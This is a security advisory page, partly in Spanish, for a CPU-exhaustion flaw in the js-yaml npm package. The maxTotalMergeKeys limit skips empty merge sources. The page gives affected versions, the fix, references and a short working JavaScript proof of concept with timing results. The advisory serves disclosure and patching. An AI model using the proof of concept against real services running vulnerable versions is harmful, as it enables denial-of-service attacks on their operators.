js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K timesFor every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.
PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)Observed results:
| N | YAML size | Time |
|---|---|---|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |
Impact
An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count each merge-source mapping as one budget unit, in addition to counting its keys.
Difference with v5
In v3 & v4, merge is enabled by default. So, the severity score is higher.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | js-yaml | >= 4.0.0, < 4.3.2, >= 3.0.0, < 3.15.2 | 4.3.2, 3.15.2 |
Referencias
- https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh
- https://nvd.nist.gov/vuln/detail/CVE-2026-84375
- https://github.com/nodeca/js-yaml/pull/797
- https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639
- https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480
- https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b
- https://github.com/nodeca/js-yaml
- https://github.com/nodeca/js-yaml/releases/tag/3.15.2
- https://github.com/nodeca/js-yaml/releases/tag/4.3.2
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-400, CWE-407- Plataforma
- npm
- Paquete
js-yaml- Publicada
- 08.09.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-2883-xcg3-v3hh - CC BY 4.0
Historial de vulnerabilidades: js-yaml
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 12
- Primera → última
- 10.2017 09.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 5
- Media 6
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 2
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 1
- 2026: 8
-
js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.